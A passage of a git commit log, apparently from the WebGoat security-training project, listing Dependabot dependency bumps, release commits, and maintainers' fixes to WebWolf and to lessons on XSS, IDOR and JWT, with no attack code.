Bumps [io.github.bonigarcia:webdrivermanager](https://github.com/bonigarcia/webdrivermanager) from 5.3.3 to 5.6.3.
- [Release notes](https://github.com/bonigarcia/webdrivermanager/releases)
- [Changelog](https://github.com/bonigarcia/webdrivermanager/blob/master/CHANGELOG.md)
- [Commits](https://github.com/bonigarcia/webdrivermanager/compare/webdrivermanager-5.3.3...webdrivermanager-5.6.3)

---
updated-dependencies:
- dependency-name: io.github.bonigarcia:webdrivermanager
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2024-01-09 15:10:16 +01:00
dependabot[bot]
7e75e9b8fc chore: bump org.apache.commons:commons-exec from 1.3 to 1.4.0 (#1721)
Bumps org.apache.commons:commons-exec from 1.3 to 1.4.0.

---
updated-dependencies:
- dependency-name: org.apache.commons:commons-exec
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2024-01-09 14:59:40 +01:00
dependabot[bot]
40c679ec5a chore: bump org.jsoup:jsoup from 1.16.1 to 1.17.2 (#1717)
Bumps [org.jsoup:jsoup](https://github.com/jhy/jsoup) from 1.16.1 to 1.17.2.
- [Release notes](https://github.com/jhy/jsoup/releases)
- [Changelog](https://github.com/jhy/jsoup/blob/master/CHANGES.md)
- [Commits](https://github.com/jhy/jsoup/compare/jsoup-1.16.1...jsoup-1.17.2)

---
updated-dependencies:
- dependency-name: org.jsoup:jsoup
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2024-01-09 14:51:32 +01:00
Peter Potrowl
4ebb869f5d Fix hidden links in MissingFunctionAC.html. (#1710) 2023-12-29 15:01:35 +01:00
Peter Potrowl
6bb7a182dc Fix typos in texts. 2023-12-14 23:00:59 +01:00
Peter Potrowl
cb2c99d38d Improve texts to avoid confusion. 2023-12-14 22:54:20 +01:00
dependabot[bot]
84029345b4 chore: bump actions/setup-java from 3 to 4 (#1698)
Bumps [actions/setup-java](https://github.com/actions/setup-java) from 3 to 4.
- [Release notes](https://github.com/actions/setup-java/releases)
- [Commits](https://github.com/actions/setup-java/compare/v3...v4)

---
updated-dependencies:
- dependency-name: actions/setup-java
  dependency-type: direct:production
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2023-12-06 20:17:13 +01:00
dependabot[bot]
a0ca199cdc chore: bump actions/setup-python from 4 to 5
Bumps [actions/setup-python](https://github.com/actions/setup-python) from 4 to 5.
- [Release notes](https://github.com/actions/setup-python/releases)
- [Commits](https://github.com/actions/setup-python/compare/v4...v5)

---
updated-dependencies:
- dependency-name: actions/setup-python
  dependency-type: direct:production
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <support@github.com>
2023-12-06 19:39:28 +01:00
Nanne Baars
2058298e2d chore: move to SNAPSHOT 2023-12-06 17:35:12 +01:00
Nanne Baars
17acef57b4 chore: add pre-commit hooks
chore: add pre-commit hooks

chore: add pre-commit hooks

chore: add pre-commit hooks

chore: add pre-commit hooks
2023-12-06 17:16:24 +01:00
Nanne Baars
d913967ec5 refactor: remove usage of RequestMapping 2023-12-06 17:16:24 +01:00
Nanne Baars
87edc7d1db refactor: use AssertJ for testing
Majority of our test cases use AssertJ
2023-12-06 17:16:24 +01:00
Nanne Baars
ac7a9c7863 chore: update GitHub action name 2023-12-05 14:22:19 +01:00
dependabot[bot]
2803ef45e4 chore: bump org.webjars:bootstrap from 5.3.1 to 5.3.2 (#1693)
Bumps [org.webjars:bootstrap](https://github.com/webjars/bootstrap) from 5.3.1 to 5.3.2.
- [Commits](https://github.com/webjars/bootstrap/compare/bootstrap-5.3.1...bootstrap-5.3.2)

---
updated-dependencies:
- dependency-name: org.webjars:bootstrap
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2023-12-05 14:04:09 +01:00
Nanne Baars
5357a65e05 chore: release 2023.8 2023-12-05 11:21:15 +01:00
Nanne Baars
d343c60781 chore: do not spend time on building the Docker image
We can test this ourselves there is no need to run this on every PR towards the repository.
2023-12-05 11:15:53 +01:00
Nanne Baars
98acc1f55a fix: get the right Github token 2023-12-05 11:15:06 +01:00
Nanne Baars
f99888e61b fix: typo in the step of the name 2023-12-05 11:14:51 +01:00
Nanne Baars
29dda49190 chore: WebWolf bootstrap can now be updated 2023-12-05 11:14:27 +01:00
Nanne Baars
369be6f688 fix: disable extra build file 2023-12-05 11:14:08 +01:00
Nanne Baars
d5f869c006 chore: release version 2023.7 2023-12-04 23:10:52 +01:00
Nanne Baars
a9caaabb47 fix: wrong Docker image 2023-12-04 23:09:51 +01:00
Nanne Baars
fb2ff01775 chore: release 2023.6 2023-12-04 22:56:58 +01:00
dependabot[bot]
89ecf1d2ad chore: bump actions/first-interaction from 1.2.0 to 1.3.0 (#1691)
Bumps [actions/first-interaction](https://github.com/actions/first-interaction) from 1.2.0 to 1.3.0.
- [Release notes](https://github.com/actions/first-interaction/releases)
- [Commits](https://github.com/actions/first-interaction/compare/v1.2.0...v1.3.0)

---
updated-dependencies:
- dependency-name: actions/first-interaction
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2023-12-04 22:45:16 +01:00
dependabot[bot]
1b66a742da chore: bump actions/setup-java from 3 to 4 (#1690)
Bumps [actions/setup-java](https://github.com/actions/setup-java) from 3 to 4.
- [Release notes](https://github.com/actions/setup-java/releases)
- [Commits](https://github.com/actions/setup-java/compare/v3...v4)

---
updated-dependencies:
- dependency-name: actions/setup-java
  dependency-type: direct:production
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2023-12-04 22:40:54 +01:00
dependabot[bot]
a831da5886 chore: bump commons-io:commons-io from 2.14.0 to 2.15.1 (#1689)
Bumps commons-io:commons-io from 2.14.0 to 2.15.1.

---
updated-dependencies:
- dependency-name: commons-io:commons-io
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2023-12-04 22:33:27 +01:00
dependabot[bot]
fd5189c102 chore: bump com.diffplug.spotless:spotless-maven-plugin (#1688)
Bumps [com.diffplug.spotless:spotless-maven-plugin](https://github.com/diffplug/spotless) from 2.38.0 to 2.41.1.
- [Changelog](https://github.com/diffplug/spotless/blob/main/CHANGES.md)
- [Commits](https://github.com/diffplug/spotless/compare/lib/2.38.0...maven/2.41.1)

---
updated-dependencies:
- dependency-name: com.diffplug.spotless:spotless-maven-plugin
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2023-12-04 22:24:53 +01:00
Nanne Baars
ae261f201a feat: show directly requested file in requests overview
When a call directly hits a file it is now show up in the requests overview. This helps the user whether an attack from WebGoat actually requested the uploaded file.

Closes: gh-1551
2023-12-04 21:34:16 +01:00
Nanne Baars
3d651526be feat: show creating time in file upload overview
Closes: gh-1551
2023-12-04 21:32:02 +01:00
Nanne Baars
c7c2a61f65 chore: fix startup message (#1687)
Since we use two application context, the event listener would print out the last one with the WebWolf context. As WebWolf is part of WebGoat we should not refer to it anymore during startup as users should always go to WebGoat first.
2023-12-04 07:59:29 +01:00
Nanne Baars
b7f657ad2c chore: fix WebWolf UI (#1686)
Fix-ups after the Bootstrap 5 upgrade for WebWolf.
2023-12-02 12:59:56 +01:00
René Zubcevic
7fea42afe9 Fix/state of software supply chain links (#1683)
* fix:update state of software supply chain links

* fix:fix second link

* fix:links formatting

---------

Co-authored-by: maurycupitt <maury@cupitt.com>
2023-11-27 15:33:14 +01:00
René Zubcevic
826887cc83 Consistent environment values and url references (#1677)
* organizing environment variables

* Update application-webgoat.properties

* Update pom.xml

* test without ssl

* fix docker base image and default env entries

* seperate server.address from webgoat.host and webwolf.host

* change base image and enable endpoint logging for docker as well

* change README

* change README

* make integration test able to verify against alternative host names

* use dynamic ports and remove system println
2023-11-27 14:35:49 +01:00
Nanne Baars
62db86246e chore: back to snapshot 2023-11-23 22:34:34 +01:00
Nanne Baars
f7a9995fe0 chore: create release v2023.5 2023-11-23 16:05:13 +01:00
dependabot[bot]
d6c4e8e454 chore: bump docker/build-push-action from 4.1.1 to 5.1.0 (#1670)
Bumps [docker/build-push-action](https://github.com/docker/build-push-action) from 4.1.1 to 5.1.0.
- [Release notes](https://github.com/docker/build-push-action/releases)
- [Commits](https://github.com/docker/build-push-action/compare/v4.1.1...v5.1.0)

---
updated-dependencies:
- dependency-name: docker/build-push-action
  dependency-type: direct:production
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
Co-authored-by: René Zubcevic <rene@zubcevic.com>
2023-11-20 15:11:59 +01:00
dependabot[bot]
26628a39e1 chore: bump org.apache.commons:commons-compress from 1.23.0 to 1.25.0 (#1672)
Bumps org.apache.commons:commons-compress from 1.23.0 to 1.25.0.

---
updated-dependencies:
- dependency-name: org.apache.commons:commons-compress
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
Co-authored-by: René Zubcevic <rene@zubcevic.com>
2023-11-20 15:05:36 +01:00
dependabot[bot]
2d26a318d1 chore: bump org.owasp:dependency-check-maven from 6.5.1 to 8.4.3 (#1671)
Bumps [org.owasp:dependency-check-maven](https://github.com/jeremylong/DependencyCheck) from 6.5.1 to 8.4.3.
- [Release notes](https://github.com/jeremylong/DependencyCheck/releases)
- [Changelog](https://github.com/jeremylong/DependencyCheck/blob/main/CHANGELOG.md)
- [Commits](https://github.com/jeremylong/DependencyCheck/compare/v6.5.1...v8.4.3)

---
updated-dependencies:
- dependency-name: org.owasp:dependency-check-maven
  dependency-type: direct:production
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2023-11-20 14:55:37 +01:00
Agustín Díaz
dc16e9a0fb fix: typo in WebGoad.txt (#1667)
Signed-off-by: Agustín Díaz <agustin.ramiro.diaz@gmail.com>
2023-11-17 18:59:02 +01:00
René Zubcevic
88a321c268 search box moved and jwt encode/decode with little delay (#1664) 2023-11-16 14:42:10 +01:00
René Zubcevic
8450c5a5be skip validation for JWT (#1663)
* skip validation for JWT

* skip validation for JWT

* skip validation for JWT
2023-11-15 18:30:14 +01:00
René Zubcevic
ba75e10efd fixed issue in JWT test tool and added robot test (#1658) 2023-11-14 18:14:48 +01:00
René Zubcevic
d1e44bbc98 Password reset link test condition more strict and move all WebWolf links to /WebWolf (#1645)
* better check on host and port for password reset and make context roots more flexible

* spotless applied

* removed hardcoded /WebGoat from js

* removed hardcoded /WebGoat from js

* fix spotless

* fix scoreboard

* upgrade WebWolf bootstrap version and icons and templates - part 1

* fixed more bootstrap 5 style issues and context path issues

* organized WebSecurityConfig based on latest conventions and added basic support for oauth (more work needed)

* spotless applied

* added mock bean

* requires updates to properties - commented for now

* requires updates to properties - commented for now

* oauth secrets through env values

* user creation after oauth login

* integration test against non default context paths

* adjusted StartupMessage

* add global model element username

* conditionally show login oauth links

* fixed WebWolf login

---------

Co-authored-by: René Zubcevic <rene@Mac-mini-van-Rene.local>
2023-11-14 10:01:59 +01:00
dependabot[bot]
5a4974f3c2 chore: bump org.apache.maven.plugins:maven-checkstyle-plugin (#1640)
Bumps [org.apache.maven.plugins:maven-checkstyle-plugin](https://github.com/apache/maven-checkstyle-plugin) from 3.3.0 to 3.3.1.
- [Commits](https://github.com/apache/maven-checkstyle-plugin/compare/maven-checkstyle-plugin-3.3.0...maven-checkstyle-plugin-3.3.1)

---
updated-dependencies:
- dependency-name: org.apache.maven.plugins:maven-checkstyle-plugin
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2023-11-02 08:13:39 +01:00
dependabot[bot]
4fc1d1fb22 chore: bump org.apache.maven.plugins:maven-surefire-plugin (#1641)
Bumps [org.apache.maven.plugins:maven-surefire-plugin](https://github.com/apache/maven-surefire) from 3.1.2 to 3.2.1.
- [Release notes](https://github.com/apache/maven-surefire/releases)
- [Commits](https://github.com/apache/maven-surefire/compare/surefire-3.1.2...surefire-3.2.1)

---
updated-dependencies:
- dependency-name: org.apache.maven.plugins:maven-surefire-plugin
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2023-11-02 07:26:26 +01:00
René Zubcevic
084a105c69 Java 21 initial support (#1622)
* check java 17 and 21 in build

* build on regular branch push

* build on regular branch push

* build on regular branch push

* update spring boot for Java21 support
2023-10-23 20:21:00 +02:00
dependabot[bot]
7485cb8b9a chore: bump org.webjars:bootstrap from 3.3.7 to 5.3.2 (#1624)
* chore: bump org.webjars:bootstrap from 3.3.7 to 5.3.2

Bumps [org.webjars:bootstrap](https://github.com/webjars/bootstrap) from 3.3.7 to 5.3.2.
- [Commits](https://github.com/webjars/bootstrap/compare/bootstrap-3.3.7...bootstrap-5.3.2)

---
updated-dependencies:
- dependency-name: org.webjars:bootstrap
  dependency-type: direct:production
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <support@github.com>

* small update and ignore major updates

* small update and ignore major updates

---------

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
Co-authored-by: René Zubcevic <rene@zubcevic.com>
2023-10-23 20:09:48 +02:00
dependabot[bot]
c312ae989f chore: bump docker/setup-buildx-action from 2 to 3 (#1628)
Bumps [docker/setup-buildx-action](https://github.com/docker/setup-buildx-action) from 2 to 3.
- [Release notes](https://github.com/docker/setup-buildx-action/releases)
- [Commits](https://github.com/docker/setup-buildx-action/compare/v2...v3)

---
updated-dependencies:
- dependency-name: docker/setup-buildx-action
  dependency-type: direct:production
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2023-10-23 17:12:25 +02:00
dependabot[bot]
5fde7fbf29 chore: bump docker/login-action from 2.2.0 to 3.0.0 (#1630)
Bumps [docker/login-action](https://github.com/docker/login-action) from 2.2.0 to 3.0.0.
- [Release notes](https://github.com/docker/login-action/releases)
- [Commits](https://github.com/docker/login-action/compare/v2.2.0...v3.0.0)

---
updated-dependencies:
- dependency-name: docker/login-action
  dependency-type: direct:production
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
Co-authored-by: René Zubcevic <rene@zubcevic.com>
2023-10-23 17:03:54 +02:00
dependabot[bot]
a32c56bfc7 chore: bump actions/first-interaction from 1.1.1 to 1.2.0 (#1629)
Bumps [actions/first-interaction](https://github.com/actions/first-interaction) from 1.1.1 to 1.2.0.
- [Release notes](https://github.com/actions/first-interaction/releases)
- [Commits](https://github.com/actions/first-interaction/compare/v1.1.1...v1.2.0)

---
updated-dependencies:
- dependency-name: actions/first-interaction
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
Co-authored-by: René Zubcevic <rene@zubcevic.com>
2023-10-23 16:57:16 +02:00
dependabot[bot]
6fd3eb57eb chore: bump com.google.guava:guava from 32.1.1-jre to 32.1.3-jre (#1627)
Bumps [com.google.guava:guava](https://github.com/google/guava) from 32.1.1-jre to 32.1.3-jre.
- [Release notes](https://github.com/google/guava/releases)
- [Commits](https://github.com/google/guava/commits)

---
updated-dependencies:
- dependency-name: com.google.guava:guava
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
Co-authored-by: René Zubcevic <rene@zubcevic.com>
2023-10-23 16:49:02 +02:00
dependabot[bot]
1743d017ff chore: bump commons-io:commons-io from 2.13.0 to 2.14.0 (#1626)
Bumps commons-io:commons-io from 2.13.0 to 2.14.0.

---
updated-dependencies:
- dependency-name: commons-io:commons-io
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2023-10-23 16:25:45 +02:00
dependabot[bot]
2b2638943b chore: bump org.jacoco:jacoco-maven-plugin from 0.8.10 to 0.8.11 (#1625)
Bumps [org.jacoco:jacoco-maven-plugin](https://github.com/jacoco/jacoco) from 0.8.10 to 0.8.11.
- [Release notes](https://github.com/jacoco/jacoco/releases)
- [Commits](https://github.com/jacoco/jacoco/compare/v0.8.10...v0.8.11)

---
updated-dependencies:
- dependency-name: org.jacoco:jacoco-maven-plugin
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2023-10-23 16:18:27 +02:00
François Capon
45c26d8aaf Fix servers id (#1619) 2023-10-22 15:25:52 +02:00
Àngel Ollé Blázquez
be30551850 fix: potential NPE in the stored XSS assignment 2023-08-27 14:31:35 +02:00
Àngel Ollé Blázquez
49862f6b90 fix: fixes the default change in trailing slash matching and address the affected assignments 2023-08-27 14:14:27 +02:00
Àngel Ollé Blázquez
4009785bb8 fix: crypto basics broken links 2023-08-27 13:16:08 +02:00
Àngel Ollé Blázquez
d8341c86a1 bug: fix hint that was breaking the template, causing hints from different assignments to mix (#1424) 2023-08-27 02:08:52 +02:00
Àngel Ollé Blázquez
055578893d feat: improve MFAC lesson hint texts for a better user experience (#1424) 2023-08-27 02:08:52 +02:00
dependabot[bot]
b89ebd70ad chore: bump webdrivermanager from 5.3.2 to 5.3.3
Bumps [webdrivermanager](https://github.com/bonigarcia/webdrivermanager) from 5.3.2 to 5.3.3.
- [Release notes](https://github.com/bonigarcia/webdrivermanager/releases)
- [Changelog](https://github.com/bonigarcia/webdrivermanager/blob/master/CHANGELOG.md)
- [Commits](https://github.com/bonigarcia/webdrivermanager/compare/webdrivermanager-5.3.2...webdrivermanager-5.3.3)

---
updated-dependencies:
- dependency-name: io.github.bonigarcia:webdrivermanager
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
2023-08-27 00:34:41 +02:00
Àngel Ollé Blázquez
7b81247dd1 fix: HijackSession lesson template deprecated Tymeleaf attribute 2023-08-26 02:57:50 +02:00
Àngel Ollé Blázquez
3bc2e57c9c Fix NPE in IDOR lesson 2023-08-26 02:22:33 +02:00
Àngel Ollé Blázquez
c3ec168d59 Add new assignment IT tests 2023-08-26 01:30:17 +02:00
Àngel Ollé Blázquez
a67fbf5a5a fix: XSS mitigation 2023-08-26 01:30:17 +02:00
Àngel Ollé Blázquez
3365c8d447 Remove wrong files 2023-08-25 22:50:40 +02:00
Àngel Ollé Blázquez
368c046779 fix: Stored Cross-Site Scripting Lesson 2023-08-25 20:55:26 +02:00
dependabot[bot]
8749137d1e chore: bump org.webjars:jquery from 3.6.4 to 3.7.0
Bumps [org.webjars:jquery](https://github.com/webjars/jquery) from 3.6.4 to 3.7.0.
- [Commits](https://github.com/webjars/jquery/compare/jquery-3.6.4...jquery-3.7.0)

---
updated-dependencies:
- dependency-name: org.webjars:jquery
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2023-08-25 00:31:04 +02:00
Àngel Ollé Blázquez
786cabd251 Make webjar dependencies version agnostic 2023-08-24 16:43:28 +02:00
dependabot[bot]
dda8b10f55 chore: bump org.jruby:jruby from 9.4.2.0 to 9.4.3.0
Bumps org.jruby:jruby from 9.4.2.0 to 9.4.3.0.

---
updated-dependencies:
- dependency-name: org.jruby:jruby
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
2023-08-19 00:20:59 +02:00
dependabot[bot]
d6ca083529 chore: bump commons-io:commons-io from 2.11.0 to 2.13.0
Bumps commons-io:commons-io from 2.11.0 to 2.13.0.

---
updated-dependencies:
- dependency-name: commons-io:commons-io
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2023-08-18 16:15:17 +02:00
test2user-aqil
7c92d625dd doc: fix version strings
Replace `2023.3` with `2023.4`
2023-08-16 15:59:23 +02:00
Àngel Ollé Blázquez
4ba818533c fix: WebWolf JWT jquery webjar 2023-08-09 01:32:03 +02:00
Nanne Baars
a9b1fd66b8 feat: implement JWT jku example (#1552)
Closes #1539
2023-08-08 17:18:22 +02:00
dependabot[bot]
8f6e47e6d4 chore: bump com.nulab-inc:zxcvbn from 1.7.0 to 1.8.0 (#1542)
Bumps [com.nulab-inc:zxcvbn](https://github.com/nulab/zxcvbn4j) from 1.7.0 to 1.8.0.
- [Release notes](https://github.com/nulab/zxcvbn4j/releases)
- [Changelog](https://github.com/nulab/zxcvbn4j/blob/master/CHANGELOG.md)
- [Commits](https://github.com/nulab/zxcvbn4j/compare/1.7.0...1.8.0)

---
updated-dependencies:
- dependency-name: com.nulab-inc:zxcvbn
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2023-08-04 16:34:49 +02:00
dependabot[bot]
61de52840f chore: bump com.diffplug.spotless:spotless-maven-plugin from 2.33.0 to 2.38.0 (#1535)
* chore: bump com.diffplug.spotless:spotless-maven-plugin

Bumps [com.diffplug.spotless:spotless-maven-plugin](https://github.com/diffplug/spotless) from 2.33.0 to 2.38.0.
- [Changelog](https://github.com/diffplug/spotless/blob/main/CHANGES.md)
- [Commits](https://github.com/diffplug/spotless/compare/lib/2.33.0...lib/2.38.0)

---
updated-dependencies:
- dependency-name: com.diffplug.spotless:spotless-maven-plugin
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>

* chore: format code

---------

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
Co-authored-by: Nanne Baars <nanne.baars@owasp.org>
2023-07-30 15:10:31 +02:00
dependabot[bot]
fd3eb2451c chore: bump guava from 31.1-jre to 32.1.1-jre (#1530)
Bumps [guava](https://github.com/google/guava) from 31.1-jre to 32.1.1-jre.
- [Release notes](https://github.com/google/guava/releases)
- [Commits](https://github.com/google/guava/commits)

---
updated-dependencies:
- dependency-name: com.google.guava:guava
  dependency-type: direct:production
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2023-07-29 12:35:06 +02:00
dependabot[bot]
32fa1ec0a6 chore: bump jquery from 3.5.1 to 3.6.4 (#1529)
Bumps [jquery](https://github.com/webjars/jquery) from 3.5.1 to 3.6.4.
- [Commits](https://github.com/webjars/jquery/compare/jquery-3.5.1...jquery-3.6.4)

---
updated-dependencies:
- dependency-name: org.webjars:jquery
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
Co-authored-by: René Zubcevic <rene@zubcevic.com>
2023-07-27 13:04:46 +02:00
Àngel Ollé Blázquez
ad00119b0d Add Assignment7 Tests 2023-07-18 00:38:23 +02:00
Àngel Ollé Blázquez
25f49537e7 bug: Fix IDOR lesson 2023-07-16 17:14:27 +02:00
dependabot[bot]
8cb735e623 chore: bump joonvena/robotframework-reporter-action from 2.1 to 2.2
Bumps [joonvena/robotframework-reporter-action](https://github.com/joonvena/robotframework-reporter-action) from 2.1 to 2.2.
- [Release notes](https://github.com/joonvena/robotframework-reporter-action/releases)
- [Commits](https://github.com/joonvena/robotframework-reporter-action/compare/v2.1...v2.2)

---
updated-dependencies:
- dependency-name: joonvena/robotframework-reporter-action
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2023-07-16 16:01:06 +02:00
dependabot[bot]
155a40aab4 chore: bump docker/build-push-action from 4.1.0 to 4.1.1
Bumps [docker/build-push-action](https://github.com/docker/build-push-action) from 4.1.0 to 4.1.1.
- [Release notes](https://github.com/docker/build-push-action/releases)
- [Commits](https://github.com/docker/build-push-action/compare/v4.1.0...v4.1.1)

---
updated-dependencies:
- dependency-name: docker/build-push-action
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
2023-07-16 15:55:22 +02:00
dependabot[bot]
6c4ddbbaad chore: bump maven-surefire-plugin from 3.1.0 to 3.1.2
Bumps [maven-surefire-plugin](https://github.com/apache/maven-surefire) from 3.1.0 to 3.1.2.
- [Release notes](https://github.com/apache/maven-surefire/releases)
- [Commits](https://github.com/apache/maven-surefire/compare/surefire-3.1.0...surefire-3.1.2)

---
updated-dependencies:
- dependency-name: org.apache.maven.plugins:maven-surefire-plugin
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
2023-07-16 15:41:25 +02:00
dependabot[bot]
d704f69879 chore: bump commons-compress from 1.22 to 1.23.0 (#1514)
Bumps commons-compress from 1.22 to 1.23.0.

---
updated-dependencies:
- dependency-name: org.apache.commons:commons-compress
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2023-07-15 09:28:40 +02:00
dependabot[bot]
3b2b613aa5 chore: bump asciidoctorj from 2.5.3 to 2.5.10 (#1498)
Bumps [asciidoctorj](https://github.com/asciidoctor/asciidoctorj) from 2.5.3 to 2.5.10.
- [Release notes](https://github.com/asciidoctor/asciidoctorj/releases)
- [Changelog](https://github.com/asciidoctor/asciidoctorj/blob/v2.5.10/CHANGELOG.adoc)
- [Commits](https://github.com/asciidoctor/asciidoctorj/compare/v2.5.3...v2.5.10)

---
updated-dependencies:
- dependency-name: org.asciidoctor:asciidoctorj
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2023-06-18 20:21:53 +02:00
Nanne Baars
934ba3e496 fix: remove steps from release script (#1509)
Closes gh-1383
2023-06-18 20:13:38 +02:00
Àngel Ollé Blázquez
8ec718c1ef format 2023-06-15 19:26:33 +02:00
Àngel Ollé Blázquez
1df7ca61a3 Text content improvement 2023-06-15 19:26:33 +02:00
Àngel Ollé Blázquez
75398feca0 Add hints 2023-06-15 19:26:33 +02:00
dependabot[bot]
76a2365abf chore: bump docker/setup-qemu-action from 2.1.0 to 2.2.0 (#1503)
Bumps [docker/setup-qemu-action](https://github.com/docker/setup-qemu-action) from 2.1.0 to 2.2.0.
- [Release notes](https://github.com/docker/setup-qemu-action/releases)
- [Commits](https://github.com/docker/setup-qemu-action/compare/v2.1.0...v2.2.0)

---
updated-dependencies:
- dependency-name: docker/setup-qemu-action
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2023-06-14 10:31:00 +02:00
dependabot[bot]
015216df5f chore: bump docker/login-action from 2.1.0 to 2.2.0 (#1502)
Bumps [docker/login-action](https://github.com/docker/login-action) from 2.1.0 to 2.2.0.
- [Release notes](https://github.com/docker/login-action/releases)
- [Commits](https://github.com/docker/login-action/compare/v2.1.0...v2.2.0)

---
updated-dependencies:
- dependency-name: docker/login-action
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2023-06-13 17:06:35 +02:00
dependabot[bot]
60fc807d36 chore: bump docker/build-push-action from 4.0.0 to 4.1.0 (#1501)
Bumps [docker/build-push-action](https://github.com/docker/build-push-action) from 4.0.0 to 4.1.0.
- [Release notes](https://github.com/docker/build-push-action/releases)
- [Commits](https://github.com/docker/build-push-action/compare/v4.0.0...v4.1.0)

---
updated-dependencies:
- dependency-name: docker/build-push-action
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2023-06-13 10:50:53 +02:00
Nanne Baars
